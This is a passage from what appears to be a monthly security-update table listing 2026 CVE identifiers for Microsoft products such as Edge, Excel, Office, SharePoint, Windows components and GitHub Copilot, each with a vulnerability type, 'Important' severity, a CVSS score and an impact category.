Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  